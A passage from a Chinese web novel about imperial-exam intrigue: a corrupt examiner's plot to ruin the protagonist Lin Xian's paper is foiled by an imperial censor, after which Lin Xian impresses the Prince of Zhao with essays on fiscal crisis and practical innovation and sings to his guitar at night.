太子(为了保住自身势力、反击汉王)与赵王(为了保住林闲、打击汉王、维护自身权威),这对老冤家出于不同的算计,却为了扳倒同一个目标,罕见达成了一致!
宫门守卫都傻了眼,多少年没见这两位爷半夜一起跑来惊驾了!
皇帝被从温柔乡中惊醒。
听闻太子和赵王这两位素来不对付的儿子竟同时有十万火急之事禀报,心中诧异万分。
当听完两人内容惊人一致、细节相互佐证的奏报——江南主考张正结党营私、舞弊陷害、可能勾结汉王,欲对今科解元林闲不利。
老皇帝先是难以置信,随即龙颜大怒,须发皆张!
“反了!反了!朕的科举,朕的抡才大典,竟成了尔等鼠辈营私舞弊、党同伐异的场所?!汉王……他好大的狗胆!”
盛怒之下皇帝须发戟张,立刻下旨:“传朕旨意!着都察院左副都御史**远,赐金牌令箭,点一百大内侍卫昼夜兼程赶往江南贡院,给朕彻查此案。若情况属实,将张正就地拿下!若遇反抗……格杀勿论!朕倒要看看,是谁敢在朕的眼皮子底下,动朕的江山社稷!”
一场由林闲一把吉他弹奏出的“摩斯密码”所引发的惊天风暴,就此以雷霆万钧之势拉开序幕!
而贡院内的暗夜,依旧杀机四伏。
一张无形的大网,正悄然撒向玄字七号……
第九十二章 雷霆反击:御史天降
第五日,黎明前的黑暗最浓。
贡院内气氛如暴风雨前的死寂,众考生似乎有所预感,连呼吸都显得小心翼翼。
主考官张正端坐主位。
他面色看似平静无波,但眼底深处却翻滚着阴鸷。
他昨夜几乎未眠,反复推敲细节,确认万无一失。
此刻张正已安排妥当,只待试卷发放后趁例行巡视之机。
届时他麾下那名心腹差役老王,“不慎”将一瓶浓稠难干的墨汁泼洒在林闲的试卷上。
届时试卷污损铁证如山,林闲纵有通天之能,也只能打落牙齿和血吞。
赵宪许诺的厚赏和汉王殿下的青睐,仿佛已近在咫尺……
“咚!咚!咚!”
三声鼓响,试卷发放完毕。
士子们深吸一口气,开始提笔作答,进行最后的冲刺。
张正如同往常一样缓缓起身,背负双手,开始巡视考场。
他步伐沉稳,看似随意地踱步目光却如同毒蛇般,死死锁定“玄”字第七号舍的方向。
他的身后,那名心腹差役老王,手中托着一个木质托盘。
上面赫然放着一壶备用墨汁,亦步亦趋地紧跟。
死亡,正一步步逼近林闲的考卷。
张正的心跳微微加速,脸上甚至挤出一丝看似和蔼实则虚伪的笑容,仿佛在勉励士子。
他距离林闲的号舍越来越近,五丈、三丈、一丈……他已能清晰地看到林闲低伏书写的背影。
就是现在!
张正脚步微顿,对身后的老王使了一个极其隐蔽的眼色!
老王心领神会,眼中凶光一闪。
随即脚下猛地一个“踉跄”,伴随着一声夸张的“哎呀!”,整个身体向前扑去。
那手中的托盘倾斜,墨汁就要脱手直扑林闲案头的试卷!
时间,仿佛在这一刻凝固!
周围几个瞥见这幕的士子瞪大了眼,有人甚至忍不住发出低呼。
张正的嘴角,已经控制不住勾起一抹残忍而得意的弧度!
然而——
就在这千钧一发、墨壶即将触及试卷的瞬间!
“住——手——!”
一声如同晴天霹雳般的怒喝,猛然从贡院大门方向炸响。
声浪滚滚,震得人耳膜嗡嗡作响!
贡院那两扇沉重的朱漆大门,被人从外面轰然撞开!
只见一位身着绯色补服、气势如山岳般威严的官员,在一群刀剑出鞘、杀气腾腾的大内侍卫的簇拥下,大步闯入考场。
阳光从其身后照进来,为其身影镀上了一层耀眼金边!
来人正是都察院左副都御史、钦差大臣**远!
他面沉如水,手中高举一枚金光闪闪的令箭,声若洪钟:“圣旨到!本官奉旨稽查江南乡试舞弊大案!所有人原地不动,违令者以抗旨论处,格杀勿论!”
“轰!”
全场瞬间炸开锅,又瞬间死寂!
所有人都被这突如其来的变故惊呆了,士子们手中的笔掉落了都浑然不觉,差役们吓得魂飞魄散,扑通跪倒一片。
张正脸上的得意笑容瞬间僵住,继而转为难以置信的惊恐,血色“唰”地一下褪得干干净净。
他身体剧烈颤抖起来,指着吴御史嘴唇哆嗦着:“吴……吴大人?你……你怎么会……”
而那名行凶的差役老王,更是被这声怒喝吓得肝胆俱裂。
他手一软,那飞出的墨壶“哐当”一声砸在地上。
浓黑的墨汁溅了他满身满脸,活像一只掉进墨缸的癞**,狼狈不堪瘫软在地,筛糠般发抖!
**远根本不理张正的质问,语气冰冷刺骨道:“张正!本官接到密报,你身为本次乡试主考,竟敢勾结外人,徇私舞弊,意图以卑劣手段陷害考生林闲!人证物证俱在,你还有何话说?!”
张正浑身一颤,强撑着最后一丝体面,声音发飘地狡辩:“吴…吴御史明鉴!这…这是诬陷!赤裸裸的诬陷!下官一向秉公执法,爱惜人才,怎会…怎会行此龌龊之事?!定是有人嫉妒下官,恶意中伤!”
“秉公执法?爱惜人才?”
吴御史怒极反笑,笑声中充满了嘲讽:“好一个秉公执法,好一个爱惜人才。来人!给本官搜那个狗奴才的身!”
两名如狼似虎的侍卫立刻上前,将瘫软如泥的老王架起,三两下就从其贴身衣物内,搜出了另一个小巧却沉甸甸的墨囊。
里面装满了同样浓稠的墨汁,这正是准备万一第一次失手,用于近距离“补刀”的铁证!
“张大人!这是什么?!难道是你这奴才口渴,随身带的饮品吗?!”
吴御史指着那墨囊,厉声喝问!
“噗通!”
张正看到物证如被抽走脊梁骨,双腿一软一声瘫坐在地,嘴唇翕动却再也说不出一句完整的话来。
这时周学政快步上前,对着吴御史
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深深一揖朗声道:“吴大人明察秋毫!下官昨夜亦觉考场有异,玄字七号士子林闲似有警示之举(指琴声),故已暗中命可靠之人监视,可证此差役老王,昨夜至今晨曾三次无故接近玄字七号舍,形迹极为可疑。下官所言,句句属实,人证可查!”
人证(周学政的监视记录)、物证(双重墨囊)俱在,张正舞弊陷害之罪,铁证如山!
吴御史目光扫过全场惊骇的士子,最终落在瘫软如泥的张正身上,声如雷霆,宣布判决:
“主考官张正!身负皇恩却舞弊考场,意图陷害贤才,其行卑劣其心可诛。本官奉旨查办,证据确凿。即刻革去张正一切官职,押入大牢候审严办。本次江南乡试,由副主考周学政暂代主考,务必公正完成以慰圣心,以安士林!”
“威武——!”
大内侍卫齐声应和,声震屋瓦!
一场惊天阴谋,在最后时刻被雷霆手段彻底粉碎!周学政临危受命,代理主考,不仅平安度过危机,更因护考有功、揪出蛀虫,事后必定官升一级,前程似锦!
全场士子在短暂的死寂后,爆发出震耳欲聋的欢呼和掌声!尤其是那些太子系的、以及与林闲交好的士子,更是激动得热泪盈眶,高呼“青天大老爷!”“皇上圣明!”
而对面的赵公子,早已吓得面无人色,缩在号舍角落里,浑身抖得像秋风中的落叶,连头都不敢抬,生怕被牵连。
而自始至终,处于风暴眼中心的林闲,却平静得令人发指。
他依旧安稳坐在号舍,仿佛刚才那场雷霆风暴都与他无关。
他甚至慢条斯理拿起茶杯,呷了一口水。甚至还伸出手,随意轻拨了下身旁吉他的琴弦。
“铮——!”
一声清越悠扬的琴音,如同凤凰清鸣,骤然响起,瞬间压过了全场的喧哗,清晰地传入每个人的耳中!
这声琴音,仿佛在说:“跳梁小丑,不过如此。”
吴御史的目光,穿过欢呼的人群,与号舍中那个淡定的青年遥遥对视。
他的眼里充满赞赏与惊叹,他微微颔首,一切尽在不言中。
此子,不仅才学惊世,心智谋略,更是深不可测!
这一次,林闲又赢了。
赢得波澜不惊,赢得风轻云淡,却赢得以太子和赵王联手的雷霆万钧之势!
第五天的考试,在大快人心的反转中,正式拉开帷幕……
第九十三章 圣意难测:赵王驾临
张正舞弊案如同一场飓风,席卷朝野。
皇帝震怒之下严查深挖,牵连者众。
副主考周学政临危受命,代理主考,总算稳住江南乡试这艘在风浪中飘摇的大船。
然而这场风波也让深宫中的皇帝,对本次江南乡试,尤其是那个屡次成为风暴中心的林闲,产生了前所未有的浓厚兴趣。
让包括林闲在内的考生惊讶的是,第五日考试竟难得在一种微妙的平静中度过。
林闲夜晚难得舒了口气,弹奏吉他之余却是隐隐感到明天会有大事发生。
然而第六日清晨,贡院内气氛却陡然变得异常凝重,空气中弥漫着山雨欲来的压抑感。
代理主考周学政面色肃穆地登上高台,环视下方惴惴不安的士子,沉声宣布了一个石破天惊的消息:
“奉陛下特旨!为真正选拔经世致用之才,今日加试一场短篇策问。由赵王殿下亲临贡院,现场出题。所有考生务必倾力作答,陛下将亲自阅览优异者试卷。此乃旷世恩典亦是莫大考验,望诸生慎之!重之!”
“轰——!”
此言一出,整个贡院如同炸开了锅!
士子们瞬间哗然面面相觑,不少人脸色“唰”地一下变得惨白,冷汗涔涔而下。
几位在场的低阶考官也忍不住倒吸凉气,低声交头接耳,声音中充满了惊恐:“我的老天爷!赵……赵王殿下亲临出题?!”
“完了完了!彻底完了!赵王殿下的题目,那可是出了名的鬼见愁’啊!”
“是啊!听说在上次在京畿学政任上,他也是奉命救场出了道题,全场三百士子全军覆没,没有一个入他法眼!”
“是也!听说题目玄奥无比,直指经世致用核心之弊,专治各种眼高手低、夸夸其谈的所谓才子!”
“这哪是恩典?这分明是‘御前送死’啊!我等怕是要一同陪葬了!”
“只盼殿下今日心情尚佳,能出个稍微……稍微温和点的题目,给我等留条活路吧……”
恐慌的情绪如同瘟疫般在士子中迅速蔓延。
赵王周宸才学毋庸置疑,但其出题风格以“奇、险、峻、绝”著称,素有“考场阎王”的“美誉”,在士林中是能止小儿夜啼的存在。
就在这时,辕门洞开。
净街鞭响间,皇家仪仗威严先行。
只见一位身着四爪金龙**袍的青年亲王,在众多侍卫簇拥下,龙行虎步踏入贡院。
他面容俊朗刚毅,眉宇间带着与生俱来的皇家贵气与一股不怒自威的锐利。正是当今圣上胞弟,权势熏天的赵王周宸!
赵王目光缓缓扫过下方噤若寒蝉、恨不得把头埋进地里的士子们,眼神中带着一丝审视与……不易察觉的漠然。
最终,他的目光定格在“玄”字第七号舍。
那个在一片惶恐中依旧平静、甚至带着几分好奇打量他的年轻考生身上——林闲。
看到林闲这副镇定自若的模样,赵王眼中闪过一丝欣赏,但更多的是一种居高临下的探究。
他心中念头飞转:“永昌府匪患,若非此子促成招安,本王岂能如此干净利落地平息事端,在父皇面前大大露脸?此子之才,确非凡俗。之前本王虽有招揽之意,但总觉得不必急于一时。可经张正一事,本王猛然醒悟此子已简在帝心。”
他下定决心,若再不把握机会被太子那个**子以虚情假意又笼络了去,后果将不堪设想!
今日他奉皇命而来,明为考校天下士子,实则为掂量林闲的斤两……
想到这里他走到主位站定,声音回荡在贡院中:“本王奉陛下之命,今日亲临,考校尔等经世致用之实学!望尔等勿要只会寻章摘句,做那纸上谈兵的腐儒!须有安邦定国、解决实际难题的真才实学!”言语间,他的目光再次似有意似无意地扫过林闲,隐含着一丝难以言喻的期待与挑战。
随即在所有人的注视下,赵王薄唇轻启,抛出了那道足以让在场绝大多数人崩溃的绝境难题:
《论:若国库仅余白银百万两,然北疆军饷急需二百万以稳军心御外侮,南方六郡水患赈灾亦需百万以救百万灾民,当如何权衡取舍,方可解此燃眉之急,又不致天下动荡,社稷倾危?》
题目一出全场死寂,落针可闻。紧接着倒吸凉气之声,此起彼伏。
不少心理承受能力差的士子,直接眼前一黑,差点晕厥过去。
这……这简直是绝境中的绝境,死局中的死局!
“北疆军饷关乎国防,岂能拖欠?可南方百万灾民嗷嗷待哺,岂能见死不救?”
“国库只有一百万,两边却各要一百万甚至更多?这……这如何抉择?”
“选军饷则失民心,灾民**如何是好?选赈灾则边关不稳,外敌入侵谁来抵挡?”
“这是要把人往死里逼啊!无论怎么选都是错!都是千古罪人!”
众士子面如土色,握笔的手都在剧烈颤抖,脑子里一片空白。
几位见多识广的考官也暗自摇头叹息,心道赵王殿下果然名不虚传,一出手就是绝杀,这道题根本无解!
赵王将全场众人的惶恐慌乱尽收眼底,心中并
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无多少波澜,甚至有一丝理所当然的漠然。
他的注意力十成中有九成九,都聚焦在了林闲身上。
他目光锁定玄字七号舍,只见林闲在听到题目瞬间眉头微微一蹙,显然也意识到了此题的棘手。
然而就在众人皆以为林闲也束手无策之际,林闲内心却响起几段截然不同的吐槽:
“呵……国库百万,军饷二百万,赈灾百万?表面看是绝境,是逼人二选一的送命题。赵王啊赵王,你这考题,看似刁钻,实则……格局还是小了啊。”
“寻常人只看到取舍二字,纠结于先救兵还是先救民,陷入非此即彼的思维牢笼。却不知这世上的难题,九成九并非只有取舍一条路,更有开源、节流、周转、杠杆乃至重构规则这第三条、第四条路!”
“北疆军饷紧急?南方水患迫切?国库空虚?这哪是单纯的财政问题?这分明是财政体系僵化、资源调配失灵、危机应对机制缺失的系统性弊病!只盯着眼前这一百万两银子如何分是庸才,能想到拆东墙补西墙是干吏。而能跳出这三百万窟窿,看到背后如何让国库不再只有一百万两,如何让军饷不再成为无底洞,如何让赈灾不再完全依赖中央的,才是真正的宰辅之才!”
“赵王以此题试我,是想看我是否只会夸夸其谈,还是真有经世之能。可惜,他这题,出的还是太‘书生’气了。他想要一个在绝境中挣扎的答案,我却要给他一个……打破绝境的答案。”
心念电转间,林闲的眉头早已舒展开来。
甚至他嘴角还勾起几分玩味,以及一种近乎怜悯的优越感的弧度。
看到林闲如此淡定,赵王心中非但没有不悦,反而生出几分难以抑制的期待和兴奋。
他敏锐捕捉到林闲眼神中那一闪而过的……怜悯?不,是俯瞰!是一种站在更高维度审视难题的从容!
“好!临危不乱!泰山崩于前而色不变!甚至……似乎已看破了迷局?”
赵王心中暗赞,一股棋逢对手、甚至可能被超越的快感与紧张感交织而生。
“太子门下那些只会**、遇到难题就六神无主的废物,此刻怕是早已魂飞魄散了吧?本王倒要看看,你林闲能给出何等惊世骇俗、破此死局的答案?”
全场绝望的气氛中,唯有林闲所在的角落,平静得令人侧目。
他甚至还慢条斯理铺平试卷,提起笔蘸起墨。
那副气定神闲与周围如末日般的景象形成滑稽的对比。
一场由赵王针对林闲的终极考验,正式拉开序幕!
第九十四章 破局:爆梗震赵王,三步显锋芒
考场内。
哀鸿遍野,愁云惨淡。
大多数士子面对这道“送命题”,抓耳挠腮,面如死灰。
文章要么空洞高喊“军国为重,当先顾北疆”,要么苍白呼吁“民为邦本,赈灾为先”。
更有甚者,大段大段默背《孟子》或《管子》中的圣贤语录,企图蒙混过关。
其文章干瘪无力,逻辑混乱,毫无新意可言,仿佛一群溺水之人徒劳扑腾。
赵王负手缓缓巡视,目光如鹰隼扫过那些惊慌失措、冷汗直流的士子。
当他看到几个疑似太子门下、平日以“才子”自居的考生,此刻竟满头大汗、下笔维艰,连字都写得歪歪扭扭时,心中不禁冷笑连连:
“哼!太子老哥,这就是你费尽心机搜罗的英才?平日里吟风弄月、**倒是一把好手,遇到真问题实难题,便原形毕露,尽是些纸上谈兵、不堪大用的庸才!指望这等人物将来辅佐你治国平天下?简直是天大的笑话!”
当他冷笑间再次将目光投向“玄”字第七号舍时,身躯下意识陡然一振!
只见林闲已然提笔蘸墨,落笔时从容不迫,似乎写的不是一道关乎前程命运的难题,而是一篇寻常**作。
赵王心中好奇与期待更甚,悄然走近。他立于其号舍侧后方,凝神细看。
这一看,开篇就让他眼皮猛地一跳!
“此问,看似巧妇难为无米之炊之绝境。然学生以为,治国如同持家,遇到难关,只会盯着米缸发愁的是蠢妇。懂得借米下锅、找米下锅、甚至让米生米的,方为巧妇。若只知在先给将士吃还是先给灾民吃之间纠结撞墙,那与守着个破咸菜坛子,却妄想做出满汉全席的痴汉有何区别?徒惹人笑耳!”
“好一个借米、找米、让米生米!好一个痴汉妄想满汉全席!”
赵王心中暗赞,几乎要拍桌子叫好!
“此子思路之活络,比喻之刁钻辛辣,果然非同凡响!竟将治国安邦的难题,用市井俚语解得如此通透!虽显粗俗,却一针见血,直指要害!”
他强压住心中激荡,迫不及待继续探头偷窥。
只见林闲继续笔走龙蛇,提出了一套层层递进、堪称石破天惊的“三步走”策略:
“第一步:借米下锅(短期急救,稳住基本盘)。北疆军情,如火燎原,刻不容缓!岂能让保家卫国的将士饿着肚子守国门?那是自毁长城!可立即以朝廷信誉为担保,向江南富可敌国的盐商、茶商、钱庄巨擘进行战时紧急募捐或短期借贷,许以未来税收优惠或盐引等实利,并赐义商匾额满足其虚荣心。同时令北疆临近州县就地筹饷,先行垫付部分,事后再由朝廷核销。此乃寅吃卯粮,虽非长久之计但可解燃眉之急。总比让边关哗变,或者让灾民易子而食要强上百倍!”
“第二步:找米下锅(中期开源,多方筹措)。南方水患赈灾,并非只能被动发钱发粮,可大力推行以工代赈。组织青壮灾民疏浚河道、加固堤防、修建官道,以劳作换取口粮和工钱。此举一举三得,灾民得活、工程得修、社会得稳。同时可适时加征奢侈品消费税(如珠宝、古玩、高档绸缎),或由官府发行赈灾彩票,聚沙成塔,取之于富,用之于民。此乃羊毛出在羊身上,但让肥羊多出点**,瘦羊得以喘息,合乎天道人心!”
“第三步,让米生米(长期根本,强国富民)。以上两策终是权宜,国库空虚之根,在于生米之能不足!必须强基固本。大力鼓励农桑,推广新式农具、良种。铁腕整顿吏治,严惩贪官污吏,其家产充公,胜收十年税。大力发展工商,降低关隘税费,畅通南北货殖。唯有国库真正充盈,方能手中有粮,心里不慌,遇事方能大刀阔斧从容应对,而非如眼下这般拆东墙补西墙,捉襟见肘贻笑大方!”
最后林闲笔锋收势,总结陈词,字字千钧:
“故学生之策,非简单取舍,而是统筹与破局!若只知取舍,乃是庸医治病,头痛医头脚痛医脚,治标不治本终将病人拖死。唯有标本兼治长短结合,方为良相之才!若只问取舍,是只见树木不见森林。学生今日所答,乃是献上种树、育林、乃至改天换地之策!”
赵王越看心中越是震动,这林闲不仅思路清奇,更难得的是务实敢言,魄力惊人!“借贷募捐”、“以工代赈”、“奢侈品税”、“彩票”这些想法,在这个时代堪称离经叛道,石破天惊却句句直指财政困境的核心!
尤其是“严惩贪官,家产充公,胜收
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十年税”一句,更是辛辣无比,道出了多少人所不敢言!
此子对实务的理解、洞察和敢于打破常规的魄力,远胜朝中那些只会引经据典、明哲保身的腐儒千百倍!
“大才!国士之才!”
赵王心中狂呼,之前的欣赏彻底化为折服。
“永昌府之事已显其急智,此番策论更见其深谋远虑与经天纬地之才!此等人物,若不能为我所用,必成心腹大患!太子那个**子惯会收买人心,若让他再把林闲拉拢回去,后果不堪设想。必须不惜一切代价结交,必须立刻示好!”
当他边嘟囔边看到最后那句“若只问取舍,是只见树木不见森林。学生今日所答,乃是献上种树、育林、乃至改天换地之策!”时,赵王只觉得一股热血直冲顶门!
那股睥睨天下的豪情与棋逢对手的狂喜交织在一起,再也抑制不住,竟忘了场合,低声脱口赞道:“好!好一个种树育林改天换地!此言壮哉!深得吾心!”
这一声赞叹,在寂静的考场中显得格外清晰,引得周围士子纷纷侧目,心中更是五味杂陈,对林闲的羡慕嫉妒恨达到了顶点。
赵王毫不在意他人目光,他强压下激动的心情。
待林闲从容搁笔,他便亲自快步上前。
来到玄字七号舍前,赵王脸上露出了前所未有的温和甚至带着一丝敬重的笑容,语气郑重道:
“林生此卷,高屋建瓴,切中时弊,字字珠玑,令人茅塞顿开!本王……受益匪浅!此卷当由本王亲自誊录一份,然后原件直送陛下御览!本王定当在皇兄面前,力陈林生之才!”
林闲闻言缓缓起身,不卑不亢地躬身一礼,仿佛只是做了一件微不足道的小事:“殿下过誉了。学生不过据实以对,偶有所得,皆是圣贤书中所教,世事洞明所致。”
赵王深深看了林闲一眼,目光中充满了志在必得与如获至宝的炽热。
经此一题,他结交、乃至收服林闲之心,已变得无比迫切和坚定。
这场加试,也因林闲这篇“爆梗奇文”和赵王态度的一百八十度大转弯,彻底改变了无数人的命运轨迹。
赵王大感兴趣下再次找借口不走,想要再次看看林闲还能搞出什么有趣的事。
第九十五章 皂滑弄人:泡泡悟至理
第七日,考试进入后半程。
长时间的伏案疾书与号舍内积聚的闷热潮湿,让大多数士子显得疲惫不堪,形容憔悴。
即便如林闲,虽备有“净手软巾”等物,也觉双手黏腻不适。
他遂取出“闲雅套装”中那块精心制作的香皂,继续准备泡澡。
然而,意外总在不经意间发生。
号舍地面因连日潮气凝结,颇为湿滑。
林闲取皂时手微微一滑,那块圆润的香皂竟如顽童般脱手而出,“咻”地一下溜出老远!
林闲下意识俯身伸手去捞,指尖堪堪掠过皂身,虽未抓住却带起一串滑腻晶亮的泡沫。
看着指尖那撮在昏暗光线下折射出虹彩的泡沫,林闲愣了一下,随即脑中仿佛有电光石火闪过!
“对了!固态皂易滑,若制成液态皂液,盛于特制器皿中,按压即出泡沫,使用起来岂非更加方便省事?尤其适用于旅途、考场这等不便之处!”
一个制作“便携式按压泡沫洗手液”的念头瞬间在他脑中清晰成型,连带着容器结构、起泡原理的模糊构想都涌现出来。
他正为这偶然的发现暗自欣喜,全然没注意到代理主考周学政正毕恭毕敬地陪同一人巡视考场而来。
来人,正是去而复返的赵王周宸!
赵王将林闲那篇石破天惊的策论呈送御前后,心潮澎湃难以平静,便寻了个“体察考务”的由头,再次亲临贡院。
其真实目的,不言而喻。
赵王一行刚走近“玄”字号舍区域,便瞧见林闲正对着一块掉在地上的香皂和指尖的泡沫若有所思。
那专注的神情,绝非简单的懊恼。赵王眼中精光一闪,立刻抬手制止了正要开口的周学政,驻足静静观看。
只见林闲拾起香皂并未立即清洗,反而一边搓洗,一边用手指搅动盆中皂水,仔细观察着泛起的泡沫,眼神越来越亮,仿佛那不是泡沫,而是某种智慧的闪光。
赵王何等人物,立刻敏锐地察觉到,林闲绝非仅仅在洗手!
那神情,分明是发现了什么值得探究的事物!
他心中好奇大盛,轻咳一声开口道:“林生对这寻常皂角之物,莫非亦有独到研究?”语气中带着探究与鼓励。
林闲闻声抬头,见是赵王便淡笑回道:“回殿下,学生方才愚钝,不慎滑落香皂,却偶见泡沫起灭,忽发奇想。林某在想这皂角,为何非得是易滑易碎的块状?若能‘通其变’,制出易于携带、密封良好、使用时只需按压便能产生泡沫的洁手之物岂不更妙?尤其于军旅行伍、士子赶考、医者诊病等需频繁净手却又取水不便之场合,或更为实用省事。一时想得入神,失礼之处,还望殿下海涵。”
“液态洁手之物?按压出泡?”
赵王是何等眼光,瞬间就从这看似简单的想法中,捕捉到了背后蕴含的巨大便利性和潜在的商业价值!
这想法超越了寻常器物的改进,直指“使用体验”的优化!
他眼中异彩连连,忍不住抚掌轻声赞叹:“妙!妙啊!于细微处见真章,化不便为便捷!你这颗脑袋里,究竟还装了多少这般令人拍案叫绝的奇思妙想?”
恰在此时,当日试卷发下!
这场考的正是经义,题目赫然出自《周易·系辞》:《论“通其变,使民不倦”》。此题要求阐发“通过变革创新,使百姓生活便利而不倦怠”的深刻道理。
众士子见到题目,大多精神一振,总算来了个能发挥的。
于是纷纷引经据典,铺陈笔墨,大谈上古圣人制器尚象、变法图强的****。
文章写得高屋建瓴,气势磅礴,却总难免流于空泛,不接地气。
林闲看到题目,再低头看看自己指尖尚未完全洗净的泡沫,回想起刚才的“皂滑事件”和突如其来的灵感,不禁会心一笑。
这题目,简直像是为他量身定做一般!
他从容提笔,蘸饱浓墨,略一沉吟,便落笔作答,开篇即与众不同:
“殿下,诸位大人,学生以为,圣人所言通其变,使民不倦,其核心精髓,不在变之形式浩大,而在‘变’之目的纯正——即务实与利民四字。变,非为变而变,更非为邀名而变,乃实实在在为便民而变!”
“譬如远古先民茹毛饮血,易生疾病,圣人通其变,教之钻木取火化生为熟,此一变也,利在健康。其后器物渐精,由陶而铜、由铜而铁,烹食之
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器愈变愈便,此亦通其变也,利在省时省力。可见,变之轨迹,始终围绕让百姓生活更便利、更安适这一核心。”
“由此观之,变之一字,未必总是惊天动地、改弦更张。小变亦可大利民!”
他笔锋陡然一转,竟直接将方才自己的“皂滑”经历作为论据引入:“便如学生方才所用之皂角,传统皆为块状,易滑落损耗,不便携带。若受其滑落起泡之启发,通其变潜心研制,制出按压即出泡沫之液态洁手液,此非惊天动地之大变。然此小变若成推行于世,可使士子安心备考,医者专注疗疾,行旅便捷清洁,农夫劳作后轻松去污……乃至减少疾病传播,使人身心愉悦。此岂非正是使民不倦之鲜活体现?难道唯有变法、易制才是通变,此等惠及日常之改良便不是通变了吗?”
“故,通变之道存乎一心,亦寓于日常。为政者当时时留心民生日用,于细微处察其不便思其改进,此便是通变之始。一器一物之改良,一朝一夕之便利,积小流而成江海,民生自厚天下自安。若天下人人皆能存此利民之心,行此便民之变,则圣人所期许的‘使民不倦’之大道,又何须外求?”
他将一次意外的“皂滑事件”中萌生的“洗手液”创意,天衣无缝融入了对“通其变,使民不倦”这一传统经典命题的阐释中,论证了微小而实用的创新(“小变”)对于切实改善民生、最终实现圣人理想的重要性。
本文视角独特,论证生动有力,极具说服力和感染力。
赵王在一旁默默观看,越看越是心惊,越看越是欣喜!
看到妙处,几乎要忍不住击节赞叹!
“妙极!绝妙!竟能将圣人之言与这皂角泡泡联系得如此深入浅出!此子之才,在于能化俗为雅点石成金,于平凡琐事中悟出治国安邦的大道理。这才是真正的经世致用!”
他对林闲的欣赏与器重,此刻已达到了顶点,心中那个“必须将此子收归麾下”的念头,变得无比坚定。
而周围那些还在绞尽脑汁堆砌“神农氏、黄帝、尧舜禹汤”的士子们,浑然不知。
某人已经用一块滑掉的肥皂,演绎了一场何等精彩的“通变”实践课。
第九十六章 弦寄相思:月夜弹情歌
第八日。
连日的鏖战让士子们身心俱疲,空气中交织着最后的坚持以及一丝不知归向何处的离愁。
赵王在亲自“鉴赏”了林闲昨天的惊世策论后,心中已是波澜万丈难以平静。
此子之才,已非“惊艳”二字可以形容,简直是“国之利器”!
他心绪难平,决意再拖一天回去复旨。
明面上由代理主考周学政陪他随意巡视考场整肃纪律,实则脚步不自觉再次绕向了“玄”字第七号舍区域。
还未走近,一股清冽夹杂甘甜的薄荷香,便若有若无飘入赵王鼻尖。
这香气与他处号舍的汗味、墨臭、乃至隐隐的馊味形成了惨烈对比,令赵王精神为之一振。
他驻足望去,只见林闲正端坐号舍内,神色专注运笔如飞,正在答一份经义试卷。
那气定神闲、仿佛不是在参加决定命运的科举而是在自家书房悠然著述的模样,让赵王心中再次暗叹:“此子心性,稳如磐石!”
更让赵王称奇的是,林闲案头一角竟错落有致放着几个小巧精致的瓷瓶。
只见林闲答完一题略作沉吟,似乎是为了转换思路,他极其自然伸手打开另一个瓷瓶的塞子,用指尖蘸取了少许带着沉稳木质香气(如檀香、沉香)的香膏,轻轻涂抹在太阳穴上。
顿时,一股更加沉静、内敛的香气缓缓弥漫开来。
赵王不由得深吸一口,只觉得那木质香气醇厚安稳,竟让他有些浮躁的心绪也渐渐沉淀下来。
他再看林闲,笔下已开始论述“君子慎独”之要义,文章引经据典逻辑严密。
字里行间透着一股庄重肃穆之气,与那沉稳的木质香氛相得益彰,仿佛为文章平添了几分厚重感。
赵王不禁微微颔首……
过了约莫半个时辰,林闲似乎再次进入策论部分,题目涉及一部分漕运利弊。
只见他再次停下笔,从容地换上了第三种香薰——这一次是清新醒神、略带辛冽的柑橘气息。
这香气一扫之前的沉郁,变得明快而富有活力。
几乎与此同时,赵王注意到林闲的笔锋也随之变得锐利起来!
文章开始剖析漕运积弊,言辞犀利,切中肯綮,提出的革新之策大胆而务实,充满了锐意进取的气息。
那清新的香氛,仿佛也带来了思维的清风,让人耳目一新。
赵王眼中异彩连连,心中暗赞:“妙啊!竟懂得借香凝神,以气助思!此子于细节处,亦见大智慧!”
最后,当林闲开始撰写赋税改革的建议时,他又用上了第四种香薰——一种温暖而略带药味的琥珀与乳香。
这香气醇厚绵长,带有一种安抚人心的力量。
而林闲的文章,也在此刻转向了对民生福祉的深切关怀,文笔变得宽厚仁和,提出的建议既考虑朝廷收入,更兼顾百姓负担,充满了悲悯与温度。
赵王静静站在不远处,仿佛欣赏一出无声的戏剧。
他通过那变幻的香氛,清晰地“感受”到了林闲答题时思绪的流转、情绪的切换、以及文章风格的变化!
这已不仅仅是答题,这简直是一场精心编排的、融合了视觉(书法)、嗅觉(香薰)、思维(文章)的立体艺术!
“心思之巧,生活之雅,应变之能,于此细微处可见一斑!”
赵王心中最后一丝疑虑彻底烟消云散,取而代之的是近乎灼热的惊叹与势在必得:“林闲此人不仅才学惊世,更难得的是这份于繁琐艰苦中依旧能营造雅趣。这份掌控力这份格调,真乃天赐本王之大才。若不收归麾下,必成千古之憾!”
带着这份愈发坚定和激赏的心情,赵王才心满意足,转身悄然离去。
他已无需再看,结果早已注定。
他现在需要思考的,是如何将这块“瑰宝”稳稳纳入掌中。
夜色渐浓,一轮明月悬于贡院上空。
清辉洒落,为这片白日里喧嚣紧张的考场披上了一层静谧的面纱。
用了点果酱的林闲望着窗外那轮明月,心中不由地涌起对远方伊人——苏元的深深思念。
那巧笑倩兮的眼眸,仿佛就在眼前。
此情此景,当有音乐。
他抱起吉他调试了一下琴弦,然后手指轻柔拨起。
一段温柔婉转、略带异域风情却又深情款款的旋律,如同月下流淌的清泉,在寂静的贡院夜空中缓缓荡漾开来。
他没有高歌,而是用一种略带沙哑、近乎呢喃的低沉嗓音,即兴吟唱道:
“明月照贡院呐……秋风送微凉……
忆昔湖畔柳依依嘞……共看斜阳映波光……
(吉他间奏,旋律缠绵)
问明月啊可能寄我相思长?
山水迢迢路茫茫……
愿君心似我心,不负这好韶光……
待得金榜题名时,携手话西窗……”
歌声情真意切,旋律优美动听,在这静谧的月夜中格外具有穿透力。邻近号舍尚未睡熟的士子们,先是愕然,随即被这从未听过的乐器和直击心灵的歌声所吸引,纷纷侧耳倾听。那歌声中的思念、期盼、淡淡的忧伤与坚定的信念,瞬间击中了这些离家已久、前途未卜的游子内心最柔软的地方。
“是林案首……他又弹琴了……”
“这曲子……从未听过,好奇特,真好听……”
“唉,听得我也想家了,想我娘做的菜了……”
“愿君心似我心……林案首这是在思念哪位佳人?真是……情深意重啊!”
“如此才华,如此深情,真乃我辈楷模!”
一时间,贡院内弥漫起一种淡淡的、集体性的思乡与憧憬未来的情绪。
就连对面号舍的赵公子,本想讥讽几句“靡靡之音”,但听着那歌声竟也生出几分莫名的惆怅,他闷哼一声拉过被子蒙住了头……
